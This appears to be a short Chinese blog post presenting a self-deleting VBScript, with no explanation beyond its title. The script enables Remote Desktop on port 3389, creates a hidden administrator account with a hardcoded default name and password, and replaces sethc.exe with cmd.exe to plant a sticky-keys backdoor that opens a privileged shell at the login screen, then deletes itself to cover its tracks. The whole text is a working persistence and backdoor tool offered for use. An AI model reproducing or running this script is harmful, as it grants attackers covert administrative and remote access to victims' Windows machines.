可自删除开启3389创建用户粘滞键后门的vbs

2020-07-26 11:54:46

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on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!//" &_
strComputer & "/root/default:StdRegProv")
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp"
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F&copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe&copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

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